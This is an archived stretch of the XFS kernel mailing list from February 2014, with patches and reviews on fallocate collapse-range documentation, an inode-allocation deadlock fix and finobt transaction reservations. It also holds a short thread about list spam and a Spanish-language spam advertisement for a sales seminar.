X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9C5E07FB9 for ; Tue, 18 Feb 2014 10:40:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 929598F8066 for ; Tue, 18 Feb 2014 08:40:12 -0800 (PST) X-ASG-Debug-ID: 1392741611-04cb6c6de0540b70001-NocioJ Received: from mail-pb0-f54.google.com (mail-pb0-f54.google.com [209.85.160.54]) by cuda.sgi.com with ESMTP id 6Pr8iy6pUNKVXvlx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:40:11 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.54 Received: by mail-pb0-f54.google.com with SMTP id uo5so16896557pbc.41 for ; Tue, 18 Feb 2014 08:40:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=0e6ag6Y1jUG3G8FqZ7P6ysteuuGmRPY6i647wwdkO+c=; b=gW8QDxVHOvaGampl4S3dCl8AKCbazU+yEI2k3XiDSMYcW9Fx3T6fdggQsMWq0brlN6 zK0rST6bbjPPHA+II3T/2p19lJnhJawv6Bj0VFxG0GLwCjgCBAu0wuIXJHGHvqX4yQEI opzFcjR7ie0F1vKZq/LX9phwujuHUMounQf4E1rjQlL3A5EorrHFDD67F1GWAdTFAktx Ms5qCW8FzMxtz/54iql2vFnmFmaNlHupc0TAqU15+wXC1kMUup/wTy2tQA2g5BfhZUjo 5FcQ5UGK5PRongGnG8To73v/nY6Sy0MfQZh9BxikGrEfIop1uYzkQUKZlTHCBFoAhrn4 VcEw== X-Barracuda-BBL-IP: nil X-Received: by 10.69.0.10 with SMTP id au10mr34439966pbd.48.1392741611102; Tue, 18 Feb 2014 08:40:11 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id e6sm57496735pbg.4.2014.02.18.08.40.05 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:40:10 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Date: Wed, 19 Feb 2014 01:39:53 +0900 X-ASG-Orig-Subj: [PATCH v5 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Message-Id: <1392741594-20335-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f54.google.com[209.85.160.54] X-Barracuda-Start-Time: 1392741611 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Update FALLOC_FL_COLLAPSE_RANGE flag in fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- man2/fallocate.2 | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/man2/fallocate.2 b/man2/fallocate.2 index b31bbde..06a0b0c 100644 --- a/man2/fallocate.2 +++ b/man2/fallocate.2 @@ -1,5 +1,6 @@ .\" Copyright (c) 2007 Silicon Graphics, Inc. All Rights Reserved .\" Written by Dave Chinner +.\" Updated by Namjae Jeon .\" .\" %%%LICENSE_START(GPLv2_ONELINE) .\" May be distributed as per GNU General Public License version 2. @@ -7,6 +8,7 @@ .\" .\" 2011-09-19: Added FALLOC_FL_PUNCH_HOLE .\" 2011-09-19: Substantial restructuring of the page +.\" 2014-02-19: Added FALLOC_FL_COLLAPSE_RANGE .\" .TH FALLOCATE 2 2014-01-24 "Linux" "Linux Programmer's Manual" .SH NAME @@ -124,6 +126,25 @@ Btrfs (since Linux 3.7) .IP * tmpfs (since Linux 3.5) .\" commit 83e4fa9c16e4af7122e31be3eca5d57881d236fe +.SS Collapsing file space +Specifiying the +.BR FALLOC_FL_COLLAPSE_RANGE +flag in +.I mode +collpse space in the byte range starting at +.I offset +and continuing for +.I len +bytes. Within the specified range, it first de-allocates blocks and eliminates +the hole created in this process by shifting data blocks into the hole. + +Different filesystem may implement different limitatios on the granularity of +the operation. Most filesystem will limit operations to filesystem block size +boundaries, but this boundary may be larger or smaller depending +on the filesystem and/or the configuration of the filesystem or file. + +If filesystem has such limitation on granularity, It will return error(EINVAL). + .SH RETURN VALUE On success, .BR fallocate () -- 1.7.9.5 From tinguely@sgi.com Tue Feb 18 10:48:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3BBC8800F for ; Tue, 18 Feb 2014 10:48:46 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 07D2730407A; Tue, 18 Feb 2014 08:48:45 -0800 (PST) Message-ID: <53038EF1.2060203@sgi.com> Date: Tue, 18 Feb 2014 10:48:49 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation References: <1392142066-16174-1-git-send-email-bfoster@redhat.com> In-Reply-To: <1392142066-16174-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/11/14 12:07, Brian Foster wrote: > The inode chunk allocation path can lead to deadlock conditions if > a transaction is dirtied with an AGF (to fix up the freelist) for > an AG that cannot satisfy the actual allocation request. This code > path is written to try and avoid this scenario, but it can be > reproduced by running xfstests generic/270 in a loop on a 512b fs. > > An example situation is: > - process A attempts an inode allocation on AG 3, modifies > the freelist, fails the allocation and ultimately moves on to > AG 0 with the AG 3 AGF held > - process B is doing a free space operation (i.e., truncate) and > acquires the AG 0 AGF, waits on the AG 3 AGF > - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) > > The problem here is that process A acquired the AG 3 AGF while > moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF > held). xfs_dialloc() makes one pass through each of the AGs when > attempting to allocate an inode chunk. The expectation is a clean > transaction if a particular AG cannot satisfy the allocation > request. xfs_ialloc_ag_alloc() is written to support this through > use of the minalignslop allocation args field. > > When using the agi->agi_newino optimization, we attempt an exact > bno allocation request based on the location of the previously > allocated chunk. minalignslop is set to inform the allocator that > we will require alignment on this chunk, and thus to not allow the > request for this AG if the extra space is not available. Suppose > that the AG in question has just enough space for this request, but > not at the requested bno. xfs_alloc_fix_freelist() will proceed as > normal as it determines the request should succeed, and thus it is > allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails > because the requested bno is not available. In response, the caller > moves on to a NEAR_BNO allocation request for the same AG. The > alignment is set, but the minalignslop field is never reset. This > increases the overall requirement of the request from the first > attempt. If this delta is the difference between allocation success > and failure for the AG, xfs_alloc_fix_freelist() rejects this > request outright the second time around and causes the allocation > request to unnecessarily fail for this AG. > > To address this situation, reset the minalignslop field immediately > after use and prevent it from leaking into subsequent requests. > > Signed-off-by: Brian Foster > --- > > v2: > - Reset minalignslop immediately after use rather than prior to the > subsequent request and add a comment. [dchinner] > > fs/xfs/xfs_ialloc.c | 12 ++++++++++++ > 1 file changed, 12 insertions(+) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 5d7f105..a57843f 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -363,6 +363,18 @@ xfs_ialloc_ag_alloc( > args.minleft = args.mp->m_in_maxlevels - 1; > if ((error = xfs_alloc_vextent(&args))) > return error; > + > + /* > + * This request might have dirtied the transaction if the AG can > + * satisfy the request, but the exact block was not available. > + * If the allocation did fail, subsequent requests will relax > + * the exact agbno requirement and increase the alignment > + * instead. It is critical that the total size of the request > + * (len + alignment + slop) does not increase from this point > + * on, so reset minalignslop to ensure it is not included in > + * subsequent requests. > + */ > + args.minalignslop = 0; > } else > args.fsbno = NULLFSBLOCK; > Effective, this was removed by commit 83a9ba: xfs: don't zero structure members after a memset(0) It was zeroed if the xfs_alloc_vextent() failed and would have stayed zero if xfs_alloc_vextent() needed to be called a third time. Does not matter to me if it is zeroed here or where it used to be zeroed. Reviewed-by: Mark Tinguely From bfoster@redhat.com Tue Feb 18 11:10:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7DE557FE6 for ; Tue, 18 Feb 2014 11:10:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 74CA58F8052 for ; Tue, 18 Feb 2014 09:10:21 -0800 (PST) X-ASG-Debug-ID: 1392743420-04cbb00c2b53de40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id atNrW6o2JfCrr7wS for ; Tue, 18 Feb 2014 09:10:20 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1IHAIlJ022128 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 12:10:18 -0500 Received: from laptop.bfoster (vpn-54-135.rdu2.redhat.com [10.10.54.135]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1IHAGfm014058 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 18 Feb 2014 12:10:17 -0500 Message-ID: <530393F8.4070106@redhat.com> Date: Tue, 18 Feb 2014 12:10:16 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt In-Reply-To: <20140211064609.GE13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392743420 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/11/2014 01:46 AM, Dave Chinner wrote: > On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: >> Create the xfs_calc_finobt_res() helper to calculate the finobt log >> reservation for inode allocation and free. Update >> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt >> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to >> reserve blocks for the potential finobt record insertion on inode >> free (i.e., if an inode chunk was previously fully allocated). >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_inode.c | 4 +++- >> fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- >> fs/xfs/xfs_trans_space.h | 7 ++++++- >> 3 files changed, 52 insertions(+), 6 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >> index 001aa89..57c77ed 100644 >> --- a/fs/xfs/xfs_inode.c >> +++ b/fs/xfs/xfs_inode.c >> @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( >> int error; >> >> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); >> + tp->t_flags |= XFS_TRANS_RESERVE; >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, >> + XFS_IFREE_SPACE_RES(mp), 0); > > Can you add a comment explaining why the XFS_TRANS_RESERVE flag is > used here, and why it's use won't lead to accelerated reserve pool > depletion? > So this aspect of things appears to be a bit more interesting than I originally anticipated. I "reserve enabled" this transaction to facilitate the ability to free up inodes under ENOSPC conditions. Without this, the problem of failing out of xfs_inactive_ifree() (and leaving an inode chained on the unlinked list) is easily reproducible with generic/083. The basic argument for why this is reasonable is that releasing an inode releases used space (i.e., file blocks and potentially directory blocks and inode chunks over time). That said, I can manufacture situations where this is not the case. E.g., allocate a bunch of 0-sized files, consume remaining free space in some separate file, start removing inodes in a manner that removes a single inode per chunk or so. This creates a scenario where the inobt can be very large and the finobt very small (likely a single record). Removing the inodes in this manner reduces the likelihood of freeing up any space and thus rapidly grows the finobt towards the size of the inobt without any free space available. This might or might not qualify as sane use of the fs, but I don't think the failure scenario is acceptable as things currently stand. I think there are several ways this can go from here. A couple ideas that have crossed my mind: - Find a way to variably reserve the number of blocks that would be required to grow the finobt to the finobt, based on current state. This would require the total number of blocks (not just enough for a split), so this could get complex and somewhat overbearing (i.e., a lot of space could be quietly reserved, current tracking might not be sufficient and the allocation paths could get hairy). - Work to push the ifree transaction allocation and reservation to the unlink codepath rather than the eviction codepath. Under normal circumstances, chain the tp to the xfs_inode such that the eviction code path can grab it and run. This prevents us going into the state where an inode is unlinked without having enough space to free up. On the flip side, ENOSPC on unlink isn't very forgiving behavior to the user. I think the former approach is probably overkill for something that might be a pathological situation. The latter approach is more simple, but it feels like a bit of a hack. I've experimented with it a bit, but I'm not quite sure yet if it introduces any transaction issues by allocating the unlink and ifree transactions at the same time. Perhaps another argument could be made that it's rather unlikely we run into an fs with as many 0-sized (or sub-inode chunk sized) files as required to deplete the reserve pool without freeing any space, and we should just touch up the failure handling. E.g., 1.) Continue to reserve enable the ifree transaction. Consider expanding the reserve pool on finobt-enabled fs' if appropriate. Note that this is not guaranteed to provide enough resources to populate the finobt to the level of the inobt without freeing up more space. 2.) Attempt a !XFS_TRANS_RESERVE tp reservation in xfs_inactive_ifree(). If fails, xfs_warn()/notice() and enable XFS_TRANS_RESERVE. 3.) Attempt XFS_TRANS_RESERVE reservation. If fails, xfs_notice() and shutdown. And this could probably be made more intelligent to bail out sooner if we repeat XFS_TRANS_RESERVE reservations without freeing up any space, etc. Before going too far in one direction... thoughts? Brian >> if (error) { >> ASSERT(XFS_FORCED_SHUTDOWN(mp)); >> xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); >> diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c >> index 2fd59c0..32f35c1 100644 >> --- a/fs/xfs/xfs_trans_resv.c >> +++ b/fs/xfs/xfs_trans_resv.c >> @@ -98,6 +98,37 @@ xfs_calc_inode_res( >> } >> >> /* >> + * The free inode btree is a conditional feature and the log reservation >> + * requirements differ slightly from that of the traditional inode allocation >> + * btree. The finobt tracks records for inode chunks with at least one free inode. >> + * Therefore, a record can be removed from the tree for an inode allocation or >> + * free and the associated merge reservation is unconditional. This also covers >> + * the possibility of a split on record insertion. > > Slightly wider than 80 columns here. FWIW, if you use vim, add this > rule to have it add a red line at the textwidth you have set: > > " highlight textwidth > set cc=+1 > > And that will point out lines that are too long quite obviously ;) > >> + * >> + * the free inode btree: max depth * block size >> + * the free inode btree entry: block size >> + * >> + * TODO: is the modify res really necessary? covered by the merge/split res? >> + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? > > The modify case is for an allocation that only updates an inobt > record (i.e. chunk already allocated, free inodes in it). Because > we can remove a finobt record when "modifying" the last free inode > record in a chunk, "modify" can cause a redcord removal and hence a > tree merge. In which case it's no different of any of the other > finobt reservations.... > >> @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( >> * the superblock for the nlink flag: sector size >> * the directory btree: (max depth + v2) * dir block size >> * the directory inode's bmap btree: (max depth + v2) * block size >> + * the finobt >> */ >> STATIC uint >> xfs_calc_create_resv_modify( >> @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( >> return xfs_calc_inode_res(mp, 2) + >> xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + >> (uint)XFS_FSB_TO_B(mp, 1) + >> - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); >> + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + >> + xfs_calc_finobt_res(mp, 1); >> } > > And this is where is starts to get complex. The modify operation can > now cause a finobt merge, when means blocks will be allocated/freed. > That means we now need to take into account: > > * the allocation btrees: 2 trees * (max depth - 1) * block size > > and anything else freeing an extent requires. > >> /* >> @@ -285,6 +318,7 @@ xfs_calc_create_resv_modify( >> * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize >> * the inode btree: max depth * blocksize >> * the allocation btrees: 2 trees * (max depth - 1) * block size >> + * the finobt >> */ >> STATIC uint >> xfs_calc_create_resv_alloc( >> @@ -295,7 +329,8 @@ xfs_calc_create_resv_alloc( >> xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + >> xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + >> xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), >> - XFS_FSB_TO_B(mp, 1)); >> + XFS_FSB_TO_B(mp, 1)) + >> + xfs_calc_finobt_res(mp, 0); >> } > > This reservation is only for v4 superblocks - the icreate > transaction reservation is used for v5 superblocks, so that's the > only one you need to modify. > > Cheers, > > Dave. > From bbice@sgi.com Tue Feb 18 11:25:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C3C07FE6 for ; Tue, 18 Feb 2014 11:25:44 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8FB2DAC002; Tue, 18 Feb 2014 09:25:40 -0800 (PST) Received: from [10.11.5.183] (10.11.5.183) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 18 Feb 2014 11:25:39 -0600 Message-ID: <53039793.4040809@sgi.com> Date: Tue, 18 Feb 2014 10:25:39 -0700 From: Brent Bice User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: , "xfs@oss.sgi.com" , Russell Cattelan , Trevor Hurst Subject: Re: list spam References: <530386A3.1000604@hardwarefreak.com> In-Reply-To: <530386A3.1000604@hardwarefreak.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [10.11.5.183] On 02/18/2014 09:13 AM, Stan Hoeppner wrote: > Taking a look here: http://oss.sgi.com/archives/xfs/2014-02/index.html > we see 5 spams archived yesterday, and 4 so far today, and many in past > months. > > What can be done to keep these spams out of the archive? Make it a moderated list... (though I'd also offer my condolences to the people nominated as moderators) I haven't looked at how the archives are setup or indexed or what would be required to remove individual emails from the archives (without breaking things). I believe Trev might have done this though. (I passed on some warnings about malware in the oss archives to him in the past) Brent From capaintegrainfo@gmail.com Tue Feb 18 13:42:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, HTML_MESSAGE,SUBJ_ALL_CAPS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 86CF37F78 for ; Tue, 18 Feb 2014 13:42:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 46ADF304084 for ; Tue, 18 Feb 2014 11:42:07 -0800 (PST) X-ASG-Debug-ID: 1392752525-04bdf0083a01700001-w1Z2WR Received: from mail-pd0-f194.google.com (mail-pd0-f194.google.com [209.85.192.194]) by cuda.sgi.com with ESMTP id kBb7Ly8vw3F8Y41v (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 11:42:05 -0800 (PST) X-Barracuda-Envelope-From: capaintegrainfo@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.194 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.194] Received: by mail-pd0-f194.google.com with SMTP id v10so7607585pde.9 for ; Tue, 18 Feb 2014 11:42:05 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.194] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=t9V8oOpeenwyxyTWl43BNrnumJpTjj4CvMpfN+WqrEQ=; b=QSK581rwcV73z9u/xi39k0KitvxiHVruRre9JP6mUV6bgmotKrD47geUjQE3IBDTLI 8swZXslSSj0eA74sfuG7JPuir2UuoQPpFnNwU01dsGbPWK6MkrzhVT864bzbnaoFf0UB KrBCvo47918GFVA7vUmTXk7kaU38gmNOZLKpMYAaVHabc9q3ekh3pnpdbfT1gTZwJgUg mpcUDHJ0R3zwFakr9nDzIyCe4ZdYbQ+LsDMFyORY9ZEi4EOLhido+iRW9emYinDjh0d4 yAn7qwthIVUuqpsuNx9waR1bkinesyjJqwNsHs1dNdjqCF1F5fvIQS3OcC9MFMw8Aqkx A1wQ== MIME-Version: 1.0 X-Received: by 10.68.133.193 with SMTP id pe1mr35177414pbb.56.1392752524758; Tue, 18 Feb 2014 11:42:04 -0800 (PST) Received: by 10.68.204.97 with HTTP; Tue, 18 Feb 2014 11:42:04 -0800 (PST) Date: Tue, 18 Feb 2014 17:42:04 -0200 Message-ID: Subject: =?ISO-8859-1?Q?=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS=22_PROMOCI?= =?ISO-8859-1?Q?ON_TIEMPO_LIMITADO?= From: Capacitacion Integral X-ASG-Orig-Subj: =?ISO-8859-1?Q?=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS=22_PROMOCI?= =?ISO-8859-1?Q?ON_TIEMPO_LIMITADO?= To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a1134b9787fa5a904f2b37752 X-Barracuda-Connect: mail-pd0-f194.google.com[209.85.192.194] X-Barracuda-Start-Time: 1392752525 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 --001a1134b9787fa5a904f2b37752 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable CCIP *Centro De Capacitaci=F3n Integral Profesional* TIENE EL AGRADO DE INVITAR AL: SEMINARIO "DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS" Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial. A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso q= ue conduce a la ejecuci=F3n de los planes para transformarlos en resultados - = le corresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia. La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir el significado de su aporte a la organizaci=F3n y su contribuci=F3= n a las metas globales. El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al estilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas. Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion=E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e innovaci=F3n que impone un medio en el que el cambio es permanente. Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a hacerlo en un futuro inmediato, ejecutivos y supervisores de venta. CONTENIDO PROGRAMATICO: * LAS VENTAS HOY * ENFOQUES ADMINISTRATIVOS * =BFES IMPORTANTE EL CLIENTE? * PROCESO DE LA COMPRA Y VENTA * T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE * ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS * AN=C1LISIS OPORTUNIDADES DEL MERCADO * AN=C1LISIS DE LAS VENTAS * RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS * EL SERVICIO Y LAS VENTAS * EL DESEMPE=D1O DEL VENDEDOR * COMPENSACI=D3N E INCENTIVOS * PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N *COCHABAMBA* *CAMARA DE COMERCIO* Fecha: 13 y 14 de Marzo Horario: 19:00 a 22:00 *TARIJA* *Gran Hotel Tarija* Fecha: 10 y 11 de Marzo Horario: 19:00 a 22:00 COSTO: Bs. 250.- Hasta el 28 de febrero "*PROMOCION Bs 200.- HASTA EL 21 DE FEBRERO"* Bs. 300 hasta el d=EDa del evento Precios especiales a grupos de 3 o m=E1s participantes DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit. Cta. En bs. N=BA 3001-01-205806-1 INFORMES Y RESERVAS: TELEFONOS: 70643311-79511480 CONFIRMAR A: deccip@gmail.com El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo --001a1134b9787fa5a904f2b37752 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

CCIP Centro De Capacitaci=F3n I= ntegral Profesional

TIENE EL AGRADO DE INVITAR AL:

SEMINARIO “DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS”

Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial.

A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso que co= nduce a la ejecuci=F3n de los planes para transformarlos en resultados – le c= orresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarro= llando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia.

